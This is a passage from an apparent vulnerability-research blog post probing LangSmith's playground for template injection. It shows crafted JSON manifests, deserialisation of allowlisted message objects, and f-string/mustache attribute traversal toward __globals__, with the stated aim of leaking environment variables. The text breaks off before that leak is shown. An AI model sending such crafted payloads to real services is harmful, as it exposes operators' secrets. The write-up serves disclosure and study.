            <span class="k">return</span> <span class="n">cls</span><span class="p">(</span><span class="o">**</span><span class="n">kwargs</span><span class="p">)</span>
</code></pre></div></div>

<p>The logic is straightforward: <code class="language-plaintext highlighter-rouge">id</code> is used to find the specified class, and if it extends <code class="language-plaintext highlighter-rouge">Serializable</code>, an instance is created. This meant that the potential sink would have to extend <code class="language-plaintext highlighter-rouge">Serializable</code> and do something dangerous during initialisation. Of course, there’s always the possibility that somewhere in the code one of the classes might meet these criteria. However, this path didn’t seem sketchy to me and I decided to switch to template formatting instead.</p>

<h2 id="template-formatting">Template formatting</h2>

<p>Looking at the <code class="language-plaintext highlighter-rouge">manifest</code> in the request, I spotted the template formatting for <code class="language-plaintext highlighter-rouge">PromptTemplate</code>:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
    </span><span class="nl">"lc"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w">
    </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"constructor"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
        </span><span class="s2">"langchain"</span><span class="p">,</span><span class="w">
        </span><span class="s2">"prompts"</span><span class="p">,</span><span class="w">
        </span><span class="s2">"prompt"</span><span class="p">,</span><span class="w">
        </span><span class="s2">"PromptTemplate"</span><span class="w">
    </span><span class="p">],</span><span class="w">
    </span><span class="nl">"kwargs"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"input_variables"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
            </span><span class="s2">"question"</span><span class="w">
        </span><span class="p">],</span><span class="w">
        </span><span class="nl">"template_format"</span><span class="p">:</span><span class="w"> </span><span class="s2">"f-string"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"template"</span><span class="p">:</span><span class="w"> </span><span class="s2">"{question}"</span><span class="w">
    </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>The review of the <a href="https://github.com/langchain-ai/langchain/blob/32bbe99efcd237d2daf3fc86c561c251c5805d0e/libs/core/langchain_core/prompts/prompt.py#L24">langchain_core.prompts.prompt.PromptTemplate</a> class revealed a rather interesting detail:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">PromptTemplate</span><span class="p">(</span><span class="n">StringPromptTemplate</span><span class="p">):</span>
    <span class="c1"># ...
</span>    <span class="n">template_format</span><span class="p">:</span> <span class="n">PromptTemplateFormat</span> <span class="o">=</span> <span class="s">"f-string"</span>
    <span class="s">"""The format of the prompt template.
    Options are: 'f-string', 'mustache', 'jinja2'."""</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">PromptTemplate</code> supports <code class="language-plaintext highlighter-rouge">f-string</code>, <code class="language-plaintext highlighter-rouge">mustache</code> and <code class="language-plaintext highlighter-rouge">jinja2</code> formatting types. It was a bit of a surprise to find support for <code class="language-plaintext highlighter-rouge">jinja2</code>. However, I had doubts that LangSmith allows the use of <code class="language-plaintext highlighter-rouge">jinja2</code> because this code is a part of the LangChain library and LangSmith may implement validation on the formatting type. I sent the manifest below in the request to verify the support of the <code class="language-plaintext highlighter-rouge">jinja2</code> formatting in LangSmith and received <code class="language-plaintext highlighter-rouge">hi</code> in the response rendered from the passed template.</p>

<p>{% raw %}</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
    </span><span class="nl">"manifest"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="err">//</span><span class="w"> </span><span class="err">...</span><span class="w">
        </span><span class="p">{</span><span class="w">
            </span><span class="nl">"lc"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w">
            </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"constructor"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                </span><span class="s2">"langchain"</span><span class="p">,</span><span class="w">
                </span><span class="s2">"prompts"</span><span class="p">,</span><span class="w">
                </span><span class="s2">"chat"</span><span class="p">,</span><span class="w">
                </span><span class="s2">"HumanMessagePromptTemplate"</span><span class="w">
            </span><span class="p">],</span><span class="w">
            </span><span class="nl">"kwargs"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                </span><span class="nl">"prompt"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                    </span><span class="nl">"lc"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w">
                    </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"constructor"</span><span class="p">,</span><span class="w">
                    </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                        </span><span class="s2">"langchain"</span><span class="p">,</span><span class="w">
                        </span><span class="s2">"prompts"</span><span class="p">,</span><span class="w">
                        </span><span class="s2">"prompt"</span><span class="p">,</span><span class="w">
                        </span><span class="s2">"PromptTemplate"</span><span class="w">
                    </span><span class="p">],</span><span class="w">
                    </span><span class="nl">"kwargs"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                        </span><span class="nl">"input_variables"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                            </span><span class="s2">"question"</span><span class="w">
                        </span><span class="p">],</span><span class="w">
                        </span><span class="nl">"template_format"</span><span class="p">:</span><span class="w"> </span><span class="s2">"jinja2"</span><span class="p">,</span><span class="w">
                        </span><span class="nl">"template"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Say {{question}}"</span><span class="w">
                    </span><span class="p">}</span><span class="w">
                </span><span class="p">}</span><span class="w">
            </span><span class="p">}</span><span class="w">
        </span><span class="p">}</span><span class="w">
        </span><span class="err">//</span><span class="w"> </span><span class="err">...</span><span class="w">
    </span><span class="p">},</span><span class="w">
    </span><span class="nl">"input"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"question"</span><span class="p">:</span><span class="w"> </span><span class="s2">"hi"</span><span class="w">
    </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>{% endraw %}</p>

<p>In fact, it works in LangSmith. I started digging into the details of the formatting implementation. <code class="language-plaintext highlighter-rouge">PromptTemplate</code> implements the <code class="language-plaintext highlighter-rouge">format</code> method, which is responsible for calling the relevant formatter:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">PromptTemplate</span><span class="p">(</span><span class="n">StringPromptTemplate</span><span class="p">):</span>
    <span class="k">def</span> <span class="nf">format</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="o">**</span><span class="n">kwargs</span><span class="p">:</span> <span class="n">Any</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
        <span class="n">kwargs</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">_merge_partial_and_user_variables</span><span class="p">(</span><span class="o">**</span><span class="n">kwargs</span><span class="p">)</span>
        <span class="k">return</span> <span class="n">DEFAULT_FORMATTER_MAPPING</span><span class="p">[</span><span class="bp">self</span><span class="p">.</span><span class="n">template_format</span><span class="p">](</span><span class="bp">self</span><span class="p">.</span><span class="n">template</span><span class="p">,</span> <span class="o">**</span><span class="n">kwargs</span><span class="p">)</span>
</code></pre></div></div>

<p>where <a href="https://github.com/langchain-ai/langchain/blob/32bbe99efcd237d2daf3fc86c561c251c5805d0e/libs/core/langchain_core/prompts/string.py#L206">DEFAULT_FORMATTER_MAPPING</a> is defined inside the <code class="language-plaintext highlighter-rouge">langchain_core.prompts.string</code> module as the following dictionary:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">DEFAULT_FORMATTER_MAPPING</span><span class="p">:</span> <span class="nb">dict</span><span class="p">[</span><span class="nb">str</span><span class="p">,</span> <span class="n">Callable</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span>
    <span class="s">"f-string"</span><span class="p">:</span> <span class="n">formatter</span><span class="p">.</span><span class="nb">format</span><span class="p">,</span>
    <span class="s">"mustache"</span><span class="p">:</span> <span class="n">mustache_formatter</span><span class="p">,</span>
    <span class="s">"jinja2"</span><span class="p">:</span> <span class="n">jinja2_formatter</span><span class="p">,</span>
<span class="p">}</span>
</code></pre></div></div>

<p>In brief, <code class="language-plaintext highlighter-rouge">f-string</code> formatting is handled by the built-in <a href="https://docs.python.org/3/library/string.html#string.Formatter">string.Formatter</a>, <code class="language-plaintext highlighter-rouge">mustache</code> by the LangChain’s adaptation of <code class="language-plaintext highlighter-rouge">https://github.com/noahmorrison/chevron</code> and <code class="language-plaintext highlighter-rouge">jinja2</code> by Jinja2 using <code class="language-plaintext highlighter-rouge">SandboxedEnvironment</code>. Unfortunately for me, these formatters didn’t provide a straightforward way to access files or execute code. Just in case, I checked the Jinja2 package version — it was the latest with no known sandbox escapes — and the context for objects that could be used as a gadget, but the context didn’t contain any extra objects. The only option left was to somehow pass an object as input and use it to access dangerous primitives. At this point, I wasn’t sure what exactly could be passed as input, so it was time to test various data types: boolean, integer, string, list, dictionary. It turned out that all of them could be passed as input. For example, you can send a dictionary in the input, as shown below:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
    </span><span class="nl">"manifest"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="err">//</span><span class="w"> </span><span class="err">...</span><span class="w">
        </span><span class="p">{</span><span class="w">
            </span><span class="nl">"lc"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w">
            </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"constructor"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                </span><span class="s2">"langchain"</span><span class="p">,</span><span class="w">
                </span><span class="s2">"prompts"</span><span class="p">,</span><span class="w">
                </span><span class="s2">"chat"</span><span class="p">,</span><span class="w">
                </span><span class="s2">"HumanMessagePromptTemplate"</span><span class="w">
            </span><span class="p">],</span><span class="w">
            </span><span class="nl">"kwargs"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                </span><span class="nl">"prompt"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                    </span><span class="nl">"lc"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w">
                    </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"constructor"</span><span class="p">,</span><span class="w">
                    </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                        </span><span class="s2">"langchain"</span><span class="p">,</span><span class="w">
                        </span><span class="s2">"prompts"</span><span class="p">,</span><span class="w">
                        </span><span class="s2">"prompt"</span><span class="p">,</span><span class="w">
                        </span><span class="s2">"PromptTemplate"</span><span class="w">
                    </span><span class="p">],</span><span class="w">
                    </span><span class="nl">"kwargs"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                        </span><span class="nl">"input_variables"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                            </span><span class="s2">"question"</span><span class="w">
                        </span><span class="p">],</span><span class="w">
                        </span><span class="nl">"template_format"</span><span class="p">:</span><span class="w"> </span><span class="s2">"f-string"</span><span class="p">,</span><span class="w">
                        </span><span class="nl">"template"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Say {question}"</span><span class="w">
                    </span><span class="p">}</span><span class="w">
                </span><span class="p">}</span><span class="w">
            </span><span class="p">}</span><span class="w">
        </span><span class="p">}</span><span class="w">
        </span><span class="err">//</span><span class="w"> </span><span class="err">...</span><span class="w">
    </span><span class="p">},</span><span class="w">
    </span><span class="nl">"input"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"question"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
            </span><span class="nl">"foo"</span><span class="p">:</span><span class="w"> </span><span class="s2">"bar"</span><span class="w">
        </span><span class="p">}</span><span class="w">
    </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>and receive the same dictionary formatted as a string in the response:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>`{'foo': 'bar'}`
</code></pre></div></div>

<p>I observed the same behaviour when I tried to pass a dictionary with a serialised object, it simply returned the dictionary back in the response. In other words, the backend didn’t load a serialised object in <code class="language-plaintext highlighter-rouge">input</code> and treated it as a dictionary.</p>

<h2 id="exploring-f-string-and-mustache-formatting">Exploring “f-string” and “mustache” formatting</h2>

<p>While playing around with different formatters, I thought that <code class="language-plaintext highlighter-rouge">f-string</code> and <code class="language-plaintext highlighter-rouge">mustache</code> aren’t sandboxed like <code class="language-plaintext highlighter-rouge">jinja2</code> and could potentially be used to access some gadgets. This led me to explore the implementations of both formatters. After reviewing the source code of <code class="language-plaintext highlighter-rouge">string.Formatter</code> (as it turned out, it was enough to simply read the <a href="https://docs.python.org/3/library/string.html#format-string-syntax">documentation</a>), I figured out that it is possible to get an element and attribute for a passed object:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;&gt;&gt;</span> <span class="kn">from</span> <span class="nn">string</span> <span class="kn">import</span> <span class="n">Formatter</span>
<span class="o">&gt;&gt;&gt;</span> <span class="n">formatter</span> <span class="o">=</span> <span class="n">Formatter</span><span class="p">()</span>
<span class="o">&gt;&gt;&gt;</span> <span class="n">formatter</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="s">"{foo[0]}"</span><span class="p">,</span> <span class="n">foo</span><span class="o">=</span><span class="p">[</span><span class="s">"bar"</span><span class="p">])</span>
<span class="s">'bar'</span>
<span class="o">&gt;&gt;&gt;</span> <span class="n">formatter</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="s">"{foo[bar]}"</span><span class="p">,</span> <span class="n">foo</span><span class="o">=</span><span class="p">{</span><span class="s">"bar"</span><span class="p">:</span><span class="s">"asd"</span><span class="p">})</span>
<span class="s">'asd'</span>
<span class="o">&gt;&gt;&gt;</span> <span class="n">formatter</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="s">"{foo.__class__}"</span><span class="p">,</span> <span class="n">foo</span><span class="o">=</span><span class="s">""</span><span class="p">)</span>
<span class="s">"&lt;class 'str'&gt;"</span>
</code></pre></div></div>

<p>However, there is no way to make a call:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;&gt;&gt;</span> <span class="n">formatter</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="s">"{foo.__class__.__base__.__subclasses__}"</span><span class="p">,</span> <span class="n">foo</span><span class="o">=</span><span class="s">""</span><span class="p">)</span>
<span class="s">'&lt;built-in method __subclasses__ of type object at 0x100eb79b0&gt;'</span>
<span class="o">&gt;&gt;&gt;</span> <span class="n">formatter</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="s">"{foo.__class__.__base__.__subclasses__()}"</span><span class="p">,</span> <span class="n">foo</span><span class="o">=</span><span class="s">""</span><span class="p">)</span>
<span class="nb">AttributeError</span><span class="p">:</span> <span class="nb">type</span> <span class="nb">object</span> <span class="s">'object'</span> <span class="n">has</span> <span class="n">no</span> <span class="n">attribute</span> <span class="s">'__subclasses__()'</span>
</code></pre></div></div>

<p>The similar behaviour can be observer for <code class="language-plaintext highlighter-rouge">mustache</code>, with the exception that the dot <code class="language-plaintext highlighter-rouge">.</code> operator is used for element access.</p>

<p>{% raw %}</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;&gt;&gt;</span> <span class="kn">from</span> <span class="nn">langchain_core.prompts.string</span> <span class="kn">import</span> <span class="n">mustache_formatter</span>
<span class="o">&gt;&gt;&gt;</span> <span class="n">mustache_formatter</span><span class="p">(</span><span class="s">"{{foo.0}}"</span><span class="p">,</span> <span class="n">foo</span><span class="o">=</span><span class="p">[</span><span class="s">"bar"</span><span class="p">])</span>
<span class="s">'bar'</span>
<span class="o">&gt;&gt;&gt;</span> <span class="n">mustache_formatter</span><span class="p">(</span><span class="s">"{{foo.bar}}"</span><span class="p">,</span> <span class="n">foo</span><span class="o">=</span><span class="p">{</span><span class="s">"bar"</span><span class="p">:</span><span class="s">"asd"</span><span class="p">})</span>
<span class="s">'asd'</span>
<span class="o">&gt;&gt;&gt;</span> <span class="n">mustache_formatter</span><span class="p">(</span><span class="s">"{{foo.__class__}}"</span><span class="p">,</span> <span class="n">foo</span><span class="o">=</span><span class="s">""</span><span class="p">)</span>
<span class="s">"&amp;lt;class 'str'&amp;gt;"</span>
<span class="o">&gt;&gt;&gt;</span> <span class="n">mustache_formatter</span><span class="p">(</span><span class="s">"{{foo.__class__.__base__.__subclasses__}}"</span><span class="p">,</span> <span class="n">foo</span><span class="o">=</span><span class="s">""</span><span class="p">)</span>
<span class="s">'&amp;lt;built-in method __subclasses__ of type object at 0x1032779b0&amp;gt;'</span>
<span class="o">&gt;&gt;&gt;</span> <span class="n">mustache_formatter</span><span class="p">(</span><span class="s">"{{foo.__class__.__base__.__subclasses__()}}"</span><span class="p">,</span> <span class="n">foo</span><span class="o">=</span><span class="s">""</span><span class="p">)</span>
<span class="s">''</span>
</code></pre></div></div>
<p>{% endraw %}</p>

<p>All the methods I knew of to access useful primitives required a function call in one way or another. Unfortunately, the built-in types proved useless, so I had to change tactics.</p>

<h2 id="diving-deeper">Diving deeper</h2>

<p>Having no better ideas, I went to read the LangSmith documentation. After browsing through various pages, I came across the page with deployment modes: Cloud, Hybrid, and Self-hosted. I looked into the Self-hosted mode in more detail and found out that it comes with a set of Docker images that are publicly available on Docker Hub. This discovery opened up a possibility to access the backend components and retrieve additional context. Thanks to the really helpful documentation, I was able to map these images to the service architecture and identify the most interesting ones to me. My main target was the langchain/langsmith-playground image. After exploring the handler for the POST /playground/invoke endpoint, I found that it supports serialised objects:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">format_example_inputs</span><span class="p">(</span><span class="n">inputs</span><span class="p">:</span> <span class="n">Union</span><span class="p">[</span><span class="nb">dict</span><span class="p">,</span> <span class="nb">list</span><span class="p">]):</span>
    <span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">inputs</span><span class="p">,</span> <span class="nb">list</span><span class="p">):</span>
        <span class="c1"># ...
</span>    <span class="k">else</span><span class="p">:</span>
        <span class="k">if</span> <span class="n">_is_serialized_message</span><span class="p">(</span><span class="n">inputs</span><span class="p">):</span>
            <span class="k">return</span> <span class="n">load</span><span class="p">(</span><span class="n">inputs</span><span class="p">,</span> <span class="n">ignore_unserializable_fields</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
        <span class="c1"># ...
</span></code></pre></div></div>

<p>The passed <code class="language-plaintext highlighter-rouge">inputs</code> is checked to see if it contains a serialised object using the <code class="language-plaintext highlighter-rouge">_is_serialized_message</code> function, and deserialisation is handled by the <code class="language-plaintext highlighter-rouge">load</code> function from <code class="language-plaintext highlighter-rouge">lanchain_core.load</code>, which internally calls the <code class="language-plaintext highlighter-rouge">Reviver</code> mentioned earlier. <code class="language-plaintext highlighter-rouge">_is_serialized_message</code> validates the fields in the passed input and checks whether the last element in the <code class="language-plaintext highlighter-rouge">id</code> field is present in the list of allowed class names for deserialisation. Only the following class names were whitelisted for deserialisation:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">_SERIALIZED_MESSAGE_IDS</span><span class="p">:</span> <span class="nb">list</span> <span class="o">=</span> <span class="p">[</span>
    <span class="s">"AIMessage"</span><span class="p">,</span>
    <span class="s">"AIMessageChunk"</span><span class="p">,</span>
    <span class="s">"ChatMessage"</span><span class="p">,</span>
    <span class="s">"ChatMessageChunk"</span><span class="p">,</span>
    <span class="s">"FunctionMessage"</span><span class="p">,</span>
    <span class="s">"FunctionMessageChunk"</span><span class="p">,</span>
    <span class="s">"HumanMessage"</span><span class="p">,</span>
    <span class="s">"HumanMessageChunk"</span><span class="p">,</span>
    <span class="s">"SystemMessage"</span><span class="p">,</span>
    <span class="s">"SystemMessageChunk"</span><span class="p">,</span>
    <span class="s">"ToolMessage"</span><span class="p">,</span>
    <span class="s">"ToolMessageChunk"</span><span class="p">,</span>
    <span class="s">"RemoveMessage"</span><span class="p">,</span>
<span class="p">]</span>
</code></pre></div></div>

<p>This answered my question about why attempts to use serialised objects were unsuccessful. The input is supposed to only accept objects from the <code class="language-plaintext highlighter-rouge">langchain_core.messages</code> module. I created a new input with a serialised object inside to test this:</p>

<p>{% raw %}</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
    </span><span class="nl">"manifest"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="err">//</span><span class="w"> </span><span class="err">...</span><span class="w">
        </span><span class="p">{</span><span class="w">
            </span><span class="nl">"lc"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w">
            </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"constructor"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                </span><span class="s2">"langchain"</span><span class="p">,</span><span class="w">
                </span><span class="s2">"prompts"</span><span class="p">,</span><span class="w">
                </span><span class="s2">"chat"</span><span class="p">,</span><span class="w">
                </span><span class="s2">"HumanMessagePromptTemplate"</span><span class="w">
            </span><span class="p">],</span><span class="w">
            </span><span class="nl">"kwargs"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                </span><span class="nl">"prompt"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                    </span><span class="nl">"lc"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w">
                    </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"constructor"</span><span class="p">,</span><span class="w">
                    </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                        </span><span class="s2">"langchain"</span><span class="p">,</span><span class="w">
                        </span><span class="s2">"prompts"</span><span class="p">,</span><span class="w">
                        </span><span class="s2">"prompt"</span><span class="p">,</span><span class="w">
                        </span><span class="s2">"PromptTemplate"</span><span class="w">
                    </span><span class="p">],</span><span class="w">
                    </span><span class="nl">"kwargs"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                        </span><span class="nl">"input_variables"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                            </span><span class="s2">"msg"</span><span class="w">
                        </span><span class="p">],</span><span class="w">
                        </span><span class="nl">"template_format"</span><span class="p">:</span><span class="w"> </span><span class="s2">"jinja2"</span><span class="p">,</span><span class="w">
                        </span><span class="nl">"template"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Say {{msg.text}}"</span><span class="w">
                    </span><span class="p">}</span><span class="w">
                </span><span class="p">}</span><span class="w">
            </span><span class="p">}</span><span class="w">
        </span><span class="p">}</span><span class="w">
        </span><span class="err">//</span><span class="w"> </span><span class="err">...</span><span class="w">
    </span><span class="p">},</span><span class="w">
    </span><span class="nl">"input"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"msg"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
            </span><span class="nl">"lc"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w">
            </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"constructor"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                </span><span class="s2">"langchain_core"</span><span class="p">,</span><span class="w">
                </span><span class="s2">"messages"</span><span class="p">,</span><span class="w">
                </span><span class="s2">"HumanMessage"</span><span class="w">
            </span><span class="p">],</span><span class="w">
            </span><span class="nl">"kwargs"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                </span><span class="nl">"content"</span><span class="p">:</span><span class="w"> </span><span class="s2">"hi"</span><span class="p">,</span><span class="w">
                </span><span class="nl">"additional_kwargs"</span><span class="p">:</span><span class="w"> </span><span class="p">{}</span><span class="w">
            </span><span class="p">}</span><span class="w">
        </span><span class="p">}</span><span class="w">
    </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>{% endraw %}</p>

<p>The response contained <code class="language-plaintext highlighter-rouge">hi</code>, which meant I could pass non-built-in objects inside templates.</p>

<h2 id="local-testing-environment">Local testing environment</h2>

<p>The discovery of support for serialisable objects has expanded my options for gadget search and I set up a local testing environment for that. If you’d like to reproduce anything described further, you can configure the playground as shown below.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>virtualenv <span class="nt">-p</span> python3 venv
<span class="nb">source </span>venv/bin/activate
pip <span class="nb">install </span>langchain-core<span class="o">==</span>1.0.4
pip <span class="nb">install </span>jinja2
</code></pre></div></div>

<p>{% raw %}</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;&gt;&gt;</span> <span class="kn">from</span> <span class="nn">langchain_core.prompts.string</span> <span class="kn">import</span> <span class="n">DEFAULT_FORMATTER_MAPPING</span>
<span class="o">&gt;&gt;&gt;</span> <span class="kn">from</span> <span class="nn">langchain_core.messages</span> <span class="kn">import</span> <span class="n">HumanMessage</span>
<span class="o">&gt;&gt;&gt;</span> <span class="n">f_string_formatter</span> <span class="o">=</span> <span class="n">DEFAULT_FORMATTER_MAPPING</span><span class="p">[</span><span class="s">"f-string"</span><span class="p">]</span>
<span class="o">&gt;&gt;&gt;</span> <span class="n">mustache_formatter</span> <span class="o">=</span> <span class="n">DEFAULT_FORMATTER_MAPPING</span><span class="p">[</span><span class="s">"mustache"</span><span class="p">]</span>
<span class="o">&gt;&gt;&gt;</span> <span class="n">jinja2_formatter</span> <span class="o">=</span> <span class="n">DEFAULT_FORMATTER_MAPPING</span><span class="p">[</span><span class="s">"jinja2"</span><span class="p">]</span>
<span class="o">&gt;&gt;&gt;</span> <span class="n">f_string_formatter</span><span class="p">(</span><span class="s">"{msg.text}"</span><span class="p">,</span> <span class="n">msg</span><span class="o">=</span><span class="n">HumanMessage</span><span class="p">(</span><span class="s">"foo"</span><span class="p">))</span>
<span class="s">'foo'</span>
<span class="o">&gt;&gt;&gt;</span> <span class="n">mustache_formatter</span><span class="p">(</span><span class="s">"{{msg.text}}"</span><span class="p">,</span> <span class="n">msg</span><span class="o">=</span><span class="n">HumanMessage</span><span class="p">(</span><span class="s">"foo"</span><span class="p">))</span>
<span class="s">'foo'</span>
<span class="o">&gt;&gt;&gt;</span> <span class="n">jinja2_formatter</span><span class="p">(</span><span class="s">"{{msg.text}}"</span><span class="p">,</span> <span class="n">msg</span><span class="o">=</span><span class="n">HumanMessage</span><span class="p">(</span><span class="s">"foo"</span><span class="p">))</span>
<span class="s">'foo'</span>
</code></pre></div></div>
<p>{% endraw %}</p>

<h2 id="leak-environment-variables-with-f-string-and-mustache">Leak environment variables with f-string and mustache</h2>

<p>My first targets were <code class="language-plaintext highlighter-rouge">f-string</code> and <code class="language-plaintext highlighter-rouge">mustache</code>, I wanted to see what can be done when non-built-in objects are passed to a template. As you may recall, <code class="language-plaintext highlighter-rouge">f-string</code> and <code class="language-plaintext highlighter-rouge">mustache</code> allow only accessing attributes and getting elements, but not making calls. Ideally, there should be an attribute or element that returns a primitive that doesn’t require a call and still provides something useful from an attacker’s perspective. The first thing that came to mind was trying to access environment variables through <code class="language-plaintext highlighter-rouge">os.environ</code>. To do this, I needed to access the <code class="language-plaintext highlighter-rouge">os</code> module, which had to be imported and present in the module’s global namespace, i.e. inside <code class="language-plaintext highlighter-rouge">__globals__</code>. Every Python function and method has a <code class="language-plaintext highlighter-rouge">__globals__</code> attribute that provides access to the global namespace of the module where it was defined. This namespace contains all module-level variables and imported modules, making it a valuable target for exploitation. For example, we can use any available method of the <code class="language-plaintext highlighter-rouge">HumanMessage</code> instance to access the global namespace:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;&gt;&gt;</span> <span class="n">HumanMessage</span><span class="p">(</span><span class="s">""</span><span class="p">).</span><span class="n">pretty_repr</span>
<span class="o">&lt;</span><span class="n">bound</span> <span class="n">method</span> <span class="n">BaseMessage</span><span class="p">.</span><span class="n">pretty_repr</span> <span class="n">of</span> <span class="n">HumanMessage</span><span class="p">(</span><span class="n">content</span><span class="o">=</span><span class="s">''</span><span class="p">,</span> <span class="n">additional_kwargs</span><span class="o">=</span><span class="p">{},</span> <span class="n">response_metadata</span><span class="o">=</span><span class="p">{})</span><span class="o">&gt;</span>
<span class="o">&gt;&gt;&gt;</span> <span class="n">HumanMessage</span><span class="p">(</span><span class="s">""</span><span class="p">).</span><span class="n">pretty_repr</span><span class="p">.</span><span class="n">__globals__</span>
